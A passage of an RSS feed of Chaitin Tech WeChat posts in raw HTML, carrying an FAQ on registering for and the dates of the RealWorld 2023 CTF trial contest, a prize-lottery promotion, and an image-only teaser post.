700;text-align: left;background-color: rgb(237, 237, 236);font-family: Optima-Regular, PingFangTC-light;">如何报名体验赛呢？</span></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;text-indent: 0em;">本次体验赛采用定向邀请制，以战队形式参赛，如有参赛意愿，后台回复“</span><span style="font-family: Optima-Regular, PingFangTC-light;color: rgb(214, 168, 65);"><em><strong><span style="font-family: Optima-Regular, PingFangTC-light;text-indent: 0em;">我要报名</span></strong></em></span><span style="font-family: Optima-Regular, PingFangTC-light;text-indent: 0em;">”获取参赛方式。</span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section><section style="width: 100%;margin-bottom: 12px;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 100%;background: rgb(237, 237, 236);padding: 8px;" data-mid="" mpa-from-tpl="t"><section style="text-align: left;width: 100%;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">问：体验赛比赛</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(77, 77, 77);font-size: 16px;font-weight: 700;text-align: left;background-color: rgb(237, 237, 236);font-family: Optima-Regular, PingFangTC-light;">时间是什么时候？</span></p></section><section style="margin-top: 10px;display: flex;justify-content: flex-start;text-align: left;" data-mid="" mpa-from-tpl="t"><nobr style="display: inline-block;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(77, 77, 77);line-height: 22px;" data-mid=""><span style="font-family: Optima-Regular, PingFangTC-light;">答：</span></nobr><p style="display: inline-block;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(77, 77, 77);line-height: 20px;" data-mid=""><span style="color: rgb(136, 136, 136);"><span style="color: rgb(136, 136, 136);text-indent: 0em;font-family: Optima-Regular, PingFangTC-light;text-align: left;"><span style="color: rgb(77, 77, 77);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;background-color: rgb(237, 237, 236);">2023年1月8日10:00—1月9日10:00</span></span><strong><span style="color: rgb(136, 136, 136);text-indent: 0em;font-family: Optima-Regular, PingFangTC-light;text-align: left;"><span style="color: rgb(77, 77, 77);font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;background-color: rgb(237, 237, 236);"></span></span></strong></span></p></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-top: 6px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section></section><section style="width: 100%;height: 1px;background-color: rgb(144, 144, 144);margin: 0px 4px;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section style="margin: 0px 1px;width: 4px;height: 4px;background: rgb(144, 144, 144);border-radius: 50%;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section></section></section></section></section></section><section data-mpa-template="t" data-mpa-template-id="526" data-mpa-category="模板" mpa-from-tpl="t"><section data-mpa-category="模板" data-mid="" mpa-from-tpl="t" style="display: flex;flex-direction: column;"><section data-mid="" mpa-from-tpl="t" style="width: 29px;height: 31px;align-self: center;display: flex;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0555555555555556" data-w="180" src="https://wechat2rss.xlab.app/img-proxy/?k=e7760371&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FlycWmog36MtYSNMy8gOHsKZvl1zx6SEiaYSAhul4R7wraq6GD6WL3P0FpKL9tRPoD4028dOJAlGHcNlkhONbfaA%2F640%3Fwx_fmt%3Dgif"/></section></section></section><p style="margin-bottom: 16px;white-space: normal;text-align: center;line-height: normal;"><span style="font-size: 16px;"><strong><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">RealWorld 2023 体验赛高校报名通道开启</span></strong></span></p><p style="margin-bottom: 16px;white-space: normal;text-align: center;line-height: normal;"><span style="font-size: 16px;"><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">后台回复“</span><strong><em><span style="font-family: Optima-Regular, PingFangTC-light;letter-spacing: 0.5px;color: rgb(214, 168, 65);">我要报名</span></em></strong><span style="letter-spacing: 0.5px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;">”参与赛事！！</span></span></p><section data-mpa-template="t" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27" style="margin-bottom: 0px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 27px;"><section label="Copyright Reserved by ipaiban.com." donone="shifuMouseDown(&#39;shifu_t_013&#39;)" mpa-from-tpl="t" mp-original-font-size="16" mp-original-line-height="25.600000381469727" style="margin-top: 5px;padding: 10px;outline: 0px;color: rgb(62, 62, 62);font-size: 16px;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);"><section mpa-from-tpl="t" mp-original-font-size="16" mp-original-line-height="25.600000381469727" style="padding: 0.5em;outline: 0px;display: inline-block;border-bottom: 3px solid rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);line-height: 25.6px;"><p mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;font-size: 18px;"><strong mpa-from-tpl="t" mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;">《胖哈勃冬季赛》</strong><span mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;color: rgb(61, 167, 66);"><strong mpa-from-tpl="t" mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;">赛前预热</strong></span><span mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;color: rgb(19, 192, 186);line-height: 22px;"><strong mpa-from-tpl="t" mp-original-font-size="18" mp-original-line-height="22" style="outline: 0px;line-height: 22px;">  </strong></span></p></section></section><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_c_037&#39;)" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="25.600000381469727" style="margin: 1em auto;outline: 0px;color: rgb(62, 62, 62);line-height: 25.6px;border-width: initial;border-style: none;border-color: initial;background-color: rgb(255, 255, 255);"><section mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="25.5" style="margin-right: auto;margin-left: auto;padding: 1em;outline: 0px;height: 10em;line-height: 25.5px;overflow: auto;color: rgb(144, 147, 148);background-color: rgb(244, 247, 248);"><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">关注【胖哈勃】公众号</span></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">将本篇文章分享至朋友圈并保留截图</span></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">中奖后添加小胖哥微信：</span><strong mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;color: rgb(0, 0, 0);line-height: 25.5px;">15711220440 </span></strong><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">领取奖品</span></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;">本期奖品为</span><strong mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;line-height: 25.5px;color: rgb(61, 167, 66);">长亭八周年“无限潜能”盲盒套装</span></strong></p><p mp-original-font-size="17" mp-original-line-height="25.5" style="outline: 0px;text-align: left;line-height: 25.5px;"><span mp-original-font-size="14" mp-original-line-height="25.5" style="outline: 0px;font-size: 14px;color: rgb(0, 0, 0);line-height: 25.5px;">点击下方小程序参与抽奖</span></p></section></section></section><p mp-original-font-size="17" mp-original-line-height="NaN" style="margin-bottom: 16px;outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;text-align: center;line-height: normal;"><mp-miniprogram data-miniprogram-appid="wx01bb1ef166cd3f4e" data-miniprogram-path="pages/lucky/lottery/detail?id=8l0Za84UynY" data-miniprogram-nickname="抽奖助手" data-miniprogram-avatar="http://mmbiz.qpic.cn/mmbiz_png/Vdys2e8jP1l1clbflznHYO7IRflCZWjPfD4NMn1Xqgr5gZbBy1qVc12cGVG1whLTXiafBT7kiaWRl38HCbqLnRzw/640?wx_fmt=png&amp;wxfrom=200" data-miniprogram-title="长亭八周年“无限潜能”盲盒套装" data-miniprogram-imageurl="http://mmbiz.qpic.cn/mmbiz_jpg/tzAD45OOV0Z7rDHncHUaA7MZubArnEDEiaa1AFuRfqp3SnYneNUOqxTbwgTx62Ps79lRyibFIHEu5o7ibFUuWsUuQ/0?wx_fmt=jpeg" data-miniprogram-type="card" data-miniprogram-servicetype="0"></mp-miniprogram><span mp-original-font-size="14" mp-original-line-height="NaN" style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;"></span><span mp-original-font-size="14" mp-original-line-height="NaN" style="outline: 0px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;text-align: left;"></span></p><section data-mpa-template="t" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="outline: 0px;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;text-size-adjust: auto;line-height: 27.2px;"><section data-mpa-template="t" data-mpa-template-id="383" data-mpa-category="模板" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="outline: 0px;line-height: 27.2px;"><section data-mpa-category="模板" data-mid="" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;line-height: 27.2px;"><section data-mid="" mpa-from-tpl="t" mp-original-font-size="17" mp-original-line-height="27.200000762939453" style="padding-right: 8px;padding-left: 8px;outline: 0px;height: 26px;background-color: rgb(19, 20, 21);line-height: 27.2px;"><p data-mid="" mp-original-font-size="16" mp-original-line-height="26" style="outline: 0px;font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 26px;">END</p></section></section></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500301">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=50239a6e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247500301%26idx%3D1%26sn%3D5cada74c55e13722a2e34d25deb0dd4c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 14 Dec 2022 10:00:00 +0800</pubDate>
    </item>
    <item>
      <title>printf(&#34;Hello, Real World&#34;)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247500035&amp;idx=1&amp;sn=6726c855a218b03edf066bd728cb54aa</link>
      <description>蓄势待发</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2022-12-09 12:19</span> <span style="display: inline-block;">北京</span>
</p>

<p>蓄势待发</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=28734c05&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YJUzMh91icx2LvWD5EsibbFia1tW1iabe0EatOX8AIUxF7s3fkLdicSM5ic1nzFoJ8pMuM65QAjunV33Cg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="padding: 0px !important;margin: 0px !important;" data-copyright="135编辑器"><section><section data-id="42" data-plugin="audiohidinginlargescreen" style="transform: rotateZ(0deg) scale(1);padding: 0px 0px 0px 0px;margin: 0px 0px 0px 0px;"><section data-inner-id="42" data-inner-name="135editor-audiohidinginlargescreen"><svg xml:vsersion="2U1YZ4PQU9584" viewBox="0 0 345 220" style="width: 100%;padding: 0 !important;margin: 0 !important;line-height: 0 !important;isolation: isolate;height: 100vh;font-size: 0 !important;display: block;box-sizing: border-box;background-size: 100%;background-repeat: no-repeat;background-position: top;background-color: white;"><animate key:vsersion="2L1CD4CDE9584" attributeName="height" begin="0.1" dur="0.01s" to="0" fill="freeze"></animate></svg><section style="margin: 0px;padding: 0px;line-height: 0;font-size: 0;transform: scale(1);pointer-events: painted;overflow: hidden;white-space: nowrap;"><svg opacity="1" style="pointer-events: none;display: inline-block;width: 100%;vertical-align: top;background-size: cover;background-repeat: no-repeat;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2dSeOUibUC73dBibLZmhtsjBr65sJxKOa8PpJGib0iacqDMib04Avyw8LkDg/640&#34;);-webkit-tap-highlight-color: transparent;user-select: none;" viewBox="0 0 345 521" vsersion="2U1YZ4PQU9584" xml=""><g style="pointer-events: visible;"><foreignObject width="100%" height="100%"><section style="transform: scale(135) rotate(90deg);transform-origin: left top;opacity: 0;"><section style="transform: scale(-1, 1) translate(28px, -77px);"><section><section><br/></section></section></section></section></foreignObject></g></svg><section style="line-height: 0;transform-origin: 0% 0%;transform: scale(-1, 1);display: inline-block;pointer-events: none;vertical-align: top;width: 100%;"><svg xml:vsersion="2U1YZ4PQU9584" opacity="1" preserveAspectRatio="xMidYMinmeet" space="preserve" style="display: block;transform: scale(-1, 1);pointer-events: none;width: 100%;" viewBox="0 0 345 521" x="0px" xml="" xmlns="http://www.w3.org/2000/svg" y="0px" xml:space="default"><g style="pointer-events: visible;opacity: 0;"><rect fill="transparent" width="120.99999999999997" height="521" x="0" y="0"></rect><rect fill="transparent" width="224.00000000000003" height="364.7" x="120.99999999999997" y="0"></rect><rect fill="transparent" width="120.5" height="156.3" x="224.5" y="364.7"></rect><rect fill="transparent" width="224.00000000000003" height="0" x="120.99999999999997" y="521"></rect></g></svg></section></section></section></section></section><section><section data-id="243" data-plugin="multipleimgsautospread" style="transform: rotateZ(0deg) scale(1);padding: 0px 0px 0px 0px;margin: 0px 0px 0px 0px;"><section data-inner-id="243" data-inner-name="135editor-multipleimgsautospread"><section style="transform: scale(1);padding: 0px;overflow: hidden;margin: 0px;line-height: 0;font-size: 0;-webkit-transform: scale(1);-o-transform: scale(1);-ms-transform: scale(1);-moz-transform: scale(1);"><svg xml:vsersion="2U1YZ4PQU9584" viewBox="0 0 345 220" style="width: 100%;padding: 0 !important;margin: 0 !important;line-height: 0 !important;isolation: isolate;height: 100vh;font-size: 0 !important;display: block;box-sizing: border-box;background-size: 100%;background-repeat: no-repeat;background-position: top;background-color: white;"><animate key:vsersion="2L1CD4CDE9584" attributeName="height" begin="0.1" dur="0.01s" to="0" fill="freeze"></animate></svg><section style="transform: rotateZ(0);line-height: 0;isolation: isolate;height: 0;-webkit-transform: rotateZ(0);-o-transform: rotateZ(0);-ms-transform: rotateZ(0);-moz-transform: rotateZ(0);"><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2xCF6djoy4YUsmvG5LOtg5sSQ2lfwF4fWWVEE3iaojZWHYyVWib8L6OSg/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 240" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2dveI4NtBhQKabfbA5VUuM9472jOcsGxNibNE9wITf4uvQBRuXEsiamsg/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2Y0cS0f3cfz7wmicDo79s0VB6vum7XQxfjvQXoIBrPCrEtsZYPQRn1uQ/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2LtkPmic0mF9zNjlIeNpG8piaKeDLUJL7cMrJBNjcTsFfxYA2KSNwg8og/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2bJiaOyz49nCFczLvU5aQoYqFnugOL0R3SIBTJjqnLyDTwwYLSw8mzlw/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2bXQbsCujTbVF5jbFKy1Xc4sKUuAAztqkicge4Ca2UwExQOoY62dGhxA/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2Xia1lfusX8kribg1Ce3mstC8JjaIlt7Ot0SPXqazCViaZ4wGmnbFU3mqg/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2CfcSqQynh4SjeTUBqpZg22TibvLGHdtBXd3Q31puiaiaD7aHXb0R7291A/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2ChINc0S2IktThgujmOEEJfC4zAklrOicLQNZXnBHiaJ9BfjCjiaJUdTVw/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2X2ibyU0E41sZcoibmv5auMTib4sKA9WlZ2UpvGjfu60WkEiapOFibjGwSBw/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 299" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2G4nBkib5yJrRgyNDlT5P2G4d9lzHnqJUeOicz6yuwdY1PuImp7berfSg/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2RbCTI9oPaWVvT1CWoWN9jIZKvMuhDS2QDibXuRQfDyqGkfa7frIOEmg/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2f9CzQQdictiaFKcNEFIaib0IGSSAstV8vR4JzRGMvH7foCYXkeGFsJUHQ/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2XtMdWnKqMOY5WvEMYTkwjIT89e4TZQZiclPSeMn0GglfjNchrGMow0g/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg22iayRgGF9GlANyjEZRsgSice1szpC7LR9IcJEiaER7e84jZJapWZftOsw/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 299" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2knA3DfurVC645gcUyac3R4tXjEtPuLwBLAc6dSicjFAicccZkDBGiaw5g/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2ssDKo8gr025NSNiaIcfen31cWXeoFTTo34jTjuUadic9HvaCbkZqqyiaA/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 146" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2vhe8O2pHicIoOIR3TsodricBuzSqaAzHh2Nz1cCIAmqGvtT4bTicArHxA/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 100%;background-position: top center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_jpg/Fuleibl6qMurSicEwPVXHYAhtESafcZUg2UrPL4uufLiajpuV50fxlRKaNHWqsHySib7XOtSHhNICJuW8zwHIGj1Yw/640&#34;);background-attachment: scroll;-webkit-tap-highlight-color: transparent;" viewBox="0 0 1080 145" vsersion="2U1YZ4PQU9584" xml=""></svg><svg space="default" style="width: 100%;vertical-align: top;user-select: none;svg: 135;pointer-events: none;outline: none;display: inline-block;background-size: 100% 